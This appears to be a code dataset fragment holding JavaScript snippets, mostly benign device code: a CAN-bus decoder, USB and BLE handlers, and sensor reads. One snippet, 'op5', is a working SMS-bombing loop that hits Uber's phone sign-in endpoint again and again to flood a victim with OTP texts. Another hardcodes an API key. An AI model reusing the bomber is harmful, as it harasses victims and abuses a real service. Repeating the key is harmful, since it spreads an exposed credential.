1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tif (crc_len==17)\\n\\t\\t\\t\\t\\t\\t\\t\\tcrc_rg ^= 0x3685B;\\n\\t\\t\\t\\t\\t\\t\\telse if (crc_len==21)\\n\\t\\t\\t\\t\\t\\t\\t\\tcrc_rg ^= 0x302898;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif (crc_len==17)\\n\\t\\t\\t\\t\\t\\t\\tcrc_rg &= 0x1ffff;\\n\\t\\t\\t\\t\\t\\telse if (crc_len==21)\\n\\t\\t\\t\\t\\t\\t\\tcrc_rg &= 0x1fffff\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] - (0.5 * spb_hs) + m_hs, bit_pos[b + crc_len-1] + (0.5 * spb_hs) - m_hs); \\t// Add the ID item\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC : \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC\\\");\\n\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tvar tmp_val = (val >> 8);\\n\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\ttmp_val = (val & 0xFF);\\n\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (val == crc_rg)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" OK\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" OK\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1 ,\\\"CRC\\\", int_to_str_hex(val) + \\\" OK\\\", dark_colors.yellow, channel_color);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" WRONG, Should be: \\\" + int_to_str_hex(crc_rg));\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" WRONG!\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"E!\\\");\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"CRC\\\", int_to_str_hex(val) + \\\"(WRONG)\\\", dark_colors.red, channel_color);\\n\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"CRC ERROR\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"CRC (captured)\\\",int_to_str_hex(val), dark_colors.red, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"CRC (calculated)\\\", int_to_str_hex(crc_rg), dark_colors.red, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"!\\\");\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tb += crc_len-1;\\n\\t\\t\\t\\t\\tbit_pos[b] += spb;\\n\\t\\t\\t\\t\\tstate = GET_ACK;\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\twhile (db < 16) //read crc bits\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif (sb == 4)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tstuffing_ok = check_stuffing();\\t\\t// Stuffed bit\\n\\n\\t\\t\\t\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbits[b] = bit_sampler_next(ch);\\t // Regular bit\\n\\t\\t\\t\\t\\t\\t\\tif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb / 2, spb);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(s + frame_length_in_sample); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\n\\t\\t\\t\\t\\t\\t\\tif (bits[b] == last_bit)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tsb++;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\t\\tlast_bit = bits[b];\\n\\t\\t\\t\\t\\t\\t\\tb++;\\n\\t\\t\\t\\t\\t\\t\\tdb++;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\trb++;\\n\\t\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb;\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\\n\\t\\t\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\t\\t\\tstate = GET_SOF;\\n\\n\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tval = 0;\\n\\t\\t\\t\\t\\tb -= 16;\\n\\n\\t\\t\\t\\t\\tfor (c = 0; c < 15; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[b + c];\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tcrc_rg = 0;\\t\\t// Now calculate our own crc to compare\\n\\n\\t\\t\\t\\t\\tfor (c = 0; c < b; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tcrc_nxt = bits[c] ^ ((crc_rg >> 14) & 0x1);\\n\\t\\t\\t\\t\\t\\tcrc_rg = crc_rg << 1;\\n\\n\\t\\t\\t\\t\\t\\tif (crc_nxt == 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tcrc_rg ^= 0x4599;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tcrc_rg &= 0x7fff;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] - (0.5 * spb) + m, bit_pos[b + 14] + (0.5 * spb) - m); \\t// Add the ID item\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] - (0.5 * spb_hs) + m_hs, bit_pos[b + 14] + (0.5 * spb_hs) - m_hs); \\t// Add the ID item\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC : \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC\\\");\\n\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tvar tmp_val = (val >> 8);\\n\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\ttmp_val = (val & 0xFF);\\n\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (val == crc_rg)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" OK\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" OK\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1 ,\\\"CRC\\\", int_to_str_hex(val) + \\\" OK\\\", dark_colors.yellow, channel_color);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" WRONG, Should be: \\\" + int_to_str_hex(crc_rg));\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" WRONG!\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"E!\\\");\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"CRC\\\", int_to_str_hex(val) + \\\"(WRONG)\\\", dark_colors.red, channel_color);\\n\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"CRC ERROR\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"CRC (captured)\\\",int_to_str_hex(val), dark_colors.red, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"CRC (calculated)\\\", int_to_str_hex(crc_rg), dark_colors.red, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"!\\\");\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tb += 15;\\n\\t\\t\\t\\t\\tstate = GET_ACK;\\n\\t\\t\\t\\t}\\n\\t\\t\\tbreak;\\n\\n\\t\\t\\tcase GET_ACK: \\t// and the EOF too.\\n\\t\\t\\t\\tbit_pos[b] -= spb;// CRC delimiter\\n\\t\\t\\t\\tack_chk = bit_sampler_next(ch);\\n\\t\\t\\t\\tbit_sampler_next(ch); \\t// ACK delimiter\\n\\n\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[b] + (1.5 * spb) + m, bit_pos[b] + (3.5 * spb) - m); \\t// Add the ACK item\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[b] + (2.5 * spb_hs) + m, bit_pos[b] + (2.5 * spb_hs) + 2*spb - m); \\t// Add the ACK item\\n\\n\\t\\t\\t\\tif(ack_chk == 1)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"NO ACK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"NACK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"!A\\\");\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ACK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ACK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"A\\\");\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"ACK\\\", ack_chk.toString(10), dark_colors.black, channel_color);\\n\\t\\t\\t\\teof_chk = 0;\\n\\t\\t\\t\\tfor (c = 0; c < 7; c++)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\teof_chk += bit_sampler_next(ch);\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] + (3.5 * spb) + m, bit_pos[b] + (10.5 * spb) - m); \\t// Add the EOF item\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] + (2.5 * spb_hs) + 2*spb - m, bit_pos[b] + (2.5 * spb_hs) + 9*spb - m); \\t// Add the EOF item\\n\\n\\t\\t\\t\\tif (eof_chk == 7)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"END OF FRAME OK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EOF OK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EOF\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"E\\\");\\n\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"EOF\\\", \\\"\\\", dark_colors.blue, channel_color);\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"END OF FRAME ERR\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EOF ERR!\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"!EOF!\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"!E!\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"!\\\");\\n\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"EOF\\\",\\\"MISSING!\\\", dark_colors.red, channel_color);\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\tt = trs_go_after(ch, bit_pos[b] + (10.5 * spb));\\n\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\tstate = GET_SOF;\\n\\t\\t\\t\\t//dec_item_new(ch, bit_pos[0] - (0.5 * spb) + m, bit_pos[b] + (0.5 * spb) - m); \\t//<=========================DEBUG ALL THE FRAME\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t}\\n}\",\n \"function sendCompleted(usbEvent) {\\n\\tif (chrome.runtime.lastError) {\\n\\t\\tconsole.error(\\\"sendCompleted Error:\\\", chrome.runtime.lastError.message);\\n\\t}\\n\\n\\tif (usbEvent) {\\n\\t\\tif (usbEvent.data) {\\n\\t\\t\\tvar buf = new Uint8Array(usbEvent.data);\\n\\t\\t\\tconsole.log(\\\"sendCompleted Buffer:\\\", usbEvent.data.byteLength, buf);\\n\\t\\t}\\n\\t\\tif (usbEvent.resultCode !== 0) {\\n\\t\\t\\tchangeState(state.connected);\\n\\t\\t\\terrorln(\\\"Error writing to device: \\\" + chrome.runtime.lastError.message);\\n\\t\\t}\\n\\t}\\n}\",\n \"getPower() {\\n console.log('getPower called');\\n\\n return this.getLampResURI()\\n .then(response => {\\n return response.power.value;\\n });\\n }\",\n \"function getvolume(dev, callback)\\n{\\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\\n {\\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-15';\\n webphone_api.plhandler.GetVolume(dev, callback);\\n }\\n}\",\n \"function getBzData(uri, method) {\\n var dfd = $.Deferred();\\n\\n // defer get binary\\n var request = new XMLHttpRequest();\\n request.onload = function () {\\n // Process the response\\n if (request.status >= 200 && request.status < 300) {\\n // If successful\\n console.log('request-received');\\n\\n var bytes = bz2.decompress(new Uint8Array(request.response));\\n var jsonObj = JSON.parse(utfDecoder.decode(bytes));\\n dfd.resolve(jsonObj);\\n } else {\\n // If failed\\n dfd.reject({\\n status: request.status,\\n statusText: request.statusText\\n });\\n }\\n }\\n request.open('GET', uri, true);\\n request.responseType = \\\"arraybuffer\\\";\\n request.send();\\n\\n return dfd.promise();\\n }\",\n \"function getHumidity(){\\n execFile('./scripts/humidity', ['hum'], (error, stdout, stderr) => {\\n if (error) {\\n console.error('stderr', stderr);\\n throw error;\\n }\\n console.log('hum: ' + stdout);\\n readData.hum = stdout\\n })\\n}\",\n \"function onEvent(usbEvent) {\\n\\tconsole.log(\\\"onEvent\\\");\\n\\tif (usbEvent.resultCode) {\\n\\t\\tif (usbEvent.resultCode == USB_ERROR_TRANSFER_FAILED) {\\n\\t\\t\\t// Device is connected but we failed to send data.\\n\\t\\t\\tchangeState(state.connected);\\n\\t\\t} else if (usbEvent.resultCode == USB_ERROR_DEVICE_DISCONNECTED) {\\n\\t\\t\\tchangeState(state.disconnected);\\n\\t\\t}\\n\\t\\tconsole.log(chrome.runtime.lastError.message + \\\"(code: \\\" + usbEvent.resultCode + \\\") [onEvent]\\\");\\n\\t\\treturn;\\n\\t}\\n\\n\\tvar dv = new DataView(usbEvent.data);\\n\\tvar len = dv.getUint8(0);\\n\\tvar cmd = dv.getUint8(1);\\n\\n\\tswitch (cmd) {\\n\\t\\tcase CMD_DEBUG:\\n\\t\\t{\\n\\t\\t\\tvar msg = \\\"\\\";\\n\\t\\t\\tfor (var i = 0; i < len; i++) {\\n\\t\\t\\t\\tmsg += String.fromCharCode(dv.getUint8(i+2));\\n\\t\\t\\t}\\n\\t\\t\\tmessageln(\\\"debug: '\\\" + msg + \\\"'\\\");\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t\\tcase CMD_PING:\\n\\t\\t\\tmessageln(\\\"ping\\\");\\n\\t\\t\\tbreak;\\n\\t\\tcase CMD_VERSION:\\n\\t\\t{\\n\\t\\t\\tvar version = \\\"\\\" + dv.getUint8(2) + \\\".\\\" + dv.getUint8(3);\\n\\t\\t\\tmessageln(\\\"command: Version \\\" + version);\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t\\tdefault:\\n\\t\\t\\terrorln(\\\"unknown command\\\");\\n\\t\\t\\tbreak;\\n\\t}\\n\\n\\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\\n}\",\n \"async function enableBloodPressure() {\\n const command = hexToBase64(\\\"55 aa 04 02 01 f8\\\");\\n // console.log(\\\"TCL: enableBloodPressure -> command\\\", command)\\n const didWrite = await Bluetooth.writeToDevice(command);\\n // console.log(\\\"TCL: enableBloodPressure -> didWrite\\\", didWrite)\\n return didWrite;\\n}\",\n \"_pingDevice () {\\n this._ble.read(\\n BoostBLE.service,\\n BoostBLE.characteristic,\\n false\\n );\\n }\",\n \"RetrieveBeaconBlock(blockHash = '', verbosity = '1') {}\",\n \"async function requestBarcodePrinter() {\\n console.log(navigator)\\n navigator.usb &&\\n navigator.usb\\n .requestDevice({\\n filters: [\\n {\\n vendorId: 5380,\\n // classCode: 0xff, // vendor-specific\\n // protocolCode: 0x01,\\n },\\n ],\\n })\\n .then(selectedDevice => {\\n setBarcodePrinter(selectedDevice)\\n })\\n .catch(errorInfo => {\\n console.log(errorInfo)\\n // message.error(i18n.t`Cannot find label printer`)\\n })\\n }\",\n \"async GetValueBytes(id, command) {\\n var packet = new DpsPacket(id, DpsConstants.sender, command, [0,0,0,0,0,0,0,0]);\\n var result = await this.PacketIO(packet);\\n if ((result && (result.sender != id || result.command != command)) || result == null) return null;\\n else return result.data;\\n }\",\n \"scan (){\\n this.comm.getDeviceList().then(result => {\\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\\n });\\n }\",\n \"scan (){\\n this.comm.getDeviceList().then(result => {\\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\\n });\\n }\",\n \"scan (){\\n this.comm.getDeviceList().then(result => {\\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\\n });\\n }\",\n \"scan (){\\n this.comm.getDeviceList().then(result => {\\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\\n });\\n }\",\n \"XXX_start_dfu(program_mode , image_size_packet) { //see sendStartPacket\\n return new Promise((resolve, reject) => {\\n var BAprogram_mode = Buffer.alloc( 1, [ (program_mode & 0x000000ff) ]);\\n console.log(\\\"Sending 'START DFU' command\\\");\\n this._send_control_data(/*DfuOpcodesBle.START_DFU*/ 0x01, BAprogram_mode) // 0x01 0x04\\n .then( () => this._send_packet_data(image_size_packet) )\\n .then( () => this.waitForControlNotify( /*this.get_received_response, true, 10.0, 'response for START DFU'*/) )\\n .then( () => {/*console.log('$%#&%#&%#%#%#');*/ resolve() }) ////WTFWTFWTF\\n //TODO .then( () => this._clear_received_response() )\\n });\\n }\",\n \"async function op5(numero, quantidade) {\\n\\t\\n\\tvar ubereats = await tools.curl('https://cn-phx2.cfe.uber.com/rt/silk-screen/submit-form', `{\\\"formContainerAnswer\\\":{\\\"formAnswer\\\":{\\\"flowType\\\":\\\"INITIAL\\\",\\\"screenAnswers\\\":[{\\\"screenType\\\":\\\"PHONE_NUMBER_INITIAL\\\",\\\"fieldAnswers\\\":[{\\\"fieldType\\\":\\\"PHONE_COUNTRY_CODE\\\",\\\"phoneCountryCode\\\":\\\"55\\\"},{\\\"fieldType\\\":\\\"PHONE_NUMBER\\\",\\\"phoneNumber\\\":\\\"${numero}\\\"},{\\\"fieldType\\\":\\\"THIRD_PARTY_CLIENT_ID\\\",\\\"thirdPartyClientID\\\":\\\"\\\"}]}],\\\"firstPartyClientID\\\":\\\"\\\"}}}`, {\\n\\t\\t'Host': 'cn-phx2.cfe.uber.com',\\n\\t\\t'x-uber-client-name': 'eats',\\n\\t\\t'x-uber-device': 'android',\\n\\t\\t'x-uber-device-language': 'pt_BR',\\n\\t\\t'x-uber-client-version': '1.277.10005',\\n\\t\\t'accept': 'application/json',\\n\\t\\t'content-type': 'application/json; charset=UTF-8',\\n\\t\\t'user-agent': 'okhttp/3.12.0-uber2'\\n\\t\\t}, 'POST').then((res) => {\\n\\t\\t\\tif (res.body.match(/SIGN_IN/i)) {\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tif (spam.enviados == 0) {\\n\\t\\t\\t\\t\\tb1.start(quantidade, 0, {\\n\\t\\t\\t\\t\\t\\tenviados: spam.enviados\\n\\t\\t\\t\\t\\t});\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tspam.enviados++\\n\\t\\t\\t\\tspam.status = 1\\n\\t\\t\\t\\tb1.update(spam.enviados, {\\n\\t\\t\\t\\t\\tenviados: spam.enviados\\n\\t\\t\\t\\t});\\n\\t\\t\\t\\t// console.log('Sucesso » [ Numero: %s, Enviados: %s, Retorno: SMS enviado com sucesso. ] #ServerMP'.success, numero, spam.enviados);\\n\\t\\t\\t} else if (res.body.match(/SMS_OTP_TOO_MANY_REQUESTS/i)) {\\n\\t\\t\\t\\tconsole.clear();\\n\\t\\t\\t\\tprocess.exit(console.log('Falhou » [ Excesso de tentativas, tente novamente em breve. ] #ServerMP'.error));\\n\\t\\t\\t} else if (res.body.match(/BANNED/)) {\\n\\t\\t\\t\\tconsole.clear();\\n\\t\\t\\t\\tprocess.exit(console.log('Falhou » [ Numero inserido está com conta desativada. ] #ServerMP'.error));\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tconsole.clear();\\n\\t\\t\\t\\tprocess.exit(console.log('Falhou » [ Ocorreu um error desconhecido. ] #ServerMP'.error));\\n\\t\\t\\t}\\n\\t});\\n\\t\\n\\t// Verificar se o spam ja foi finalizado.\\n\\tif (quantidade == spam.enviados) {\\n\\t\\tb1.start(quantidade, quantidade, {\\n\\t\\t\\tenviados: spam.enviados\\n\\t\\t});\\n\\t\\tprocess.exit(console.log('\\\\n\\\\nAtaque finalizado! #ServerMP'.help));\\n\\t} else {\\n\\t\\top5(numero, quantidade);\\n\\t}\\n\\t\\n}\",\n \"async function writepumpdurationtoBLE(num){\\n console.log('Attempting bluetooth write')\\n var arrInt8 = toBytesInt16(num)\\n ble.twrite_pumpduration=performance.now()\\n try{\\n await ble.writepumpdurationcharacteristic.writeValue(arrInt8)\\n var textstr = 'wrote ble val >> ' + num + ', byte values ' + arrInt8\\n console.log(textstr)\\n ble.statustext = textstr\\n // \\n //wdm(textstr)\\n }\\n catch(error) {\\n var textstr = 'Could not write pump duration to ble device'\\n console.log(textstr)\\n ble.statustext = ble.statustext + \\\"
\\\" + textstr\\n \\n }\\n}\",\n \"function cerial() {\\n getPortInfo()\\n .then( (portDetails) => handleSensor(portDetails))\\n .catch((error) => console.log(error));\\n // port.write('ROBOT PLEASE RESPOND\\\\n');\\n // The parser will emit any string response\\n}\",\n \"function get24HBTCData() {\\r\\n\\tvar result;\\r\\n\\tvar request = new XMLHttpRequest();\\r\\n\\trequest.open('GET',\\r\\n\\t\\t'https://min-api.cryptocompare.com/data/v2/histohour?fsym=BTC&tsym=USD&limit=24&api_key=45419ed9fb65b31861ccb009765d97bb619e9eccedc722044457d066cbfb0a8b', false)\\r\\n\\trequest.send(null);\\r\\n\\tresult = JSON.parse(request.responseText);\\r\\n\\treturn result;\\r\\n}\",\n \"function getHSDevices(filter,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action=getdevices&filter='+filter+'&verbose=yes',\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){log(\\\"Got error: \\\" + e.message); });\\n });\\n}\",\n \"function Bus_Phase(decoder_items) // 65001-65006\\n{\\n var str = \\\"\\\";\\n switch (data_nb)\\n {\\n case 0 :\\n {\\n start_item = decoder_items.start_sample_index;\\n multi_byte_value = hex_value;\\n skip_item = true;\\n break;\\n }\\n case 1 :\\n {\\n multi_byte_value += (hex_value<<8);\\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\\n ScanaStudio.dec_item_add_content(\\\"Line-Line AC RMS Voltage : \\\" + (multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\");\\n ScanaStudio.dec_item_add_content((multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\");\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n decoder_items.end_sample_index,\\n \\\"Data\\\",\\n (\\\"Line-Line Voltage : \\\" + (multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\"),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n skip_item = true;\\n break;\\n }\\n case 2 :\\n {\\n start_item = decoder_items.start_sample_index;\\n multi_byte_value = hex_value;\\n skip_item = true;\\n break;\\n }\\n case 3 :\\n {\\n multi_byte_value += (hex_value<<8);\\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\\n ScanaStudio.dec_item_add_content(\\\"Line-Neutral AC RMS Voltage : \\\" + (multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\");\\n ScanaStudio.dec_item_add_content((multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\");\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n decoder_items.end_sample_index,\\n \\\"Data\\\",\\n (\\\"Line-Neutral Voltage : \\\" + (multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\"),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n skip_item = true;\\n break;\\n }\\n case 4 :\\n {\\n start_item = decoder_items.start_sample_index;\\n multi_byte_value = hex_value;\\n skip_item = true;\\n break;\\n }\\n case 5 :\\n {\\n multi_byte_value += (hex_value<<8);\\n multi_byte_value = Math.floor(multi_byte_value/128);\\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\\n ScanaStudio.dec_item_add_content(\\\"AC Frequency : \\\" + multi_byte_value + \\\"Hz\\\");\\n ScanaStudio.dec_item_add_content(multi_byte_value + \\\" kWh\\\");\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n decoder_items.end_sample_index,\\n \\\"Data\\\",\\n (\\\"AC Frequency : \\\" + multi_byte_value + \\\"Hz\\\"),\\n 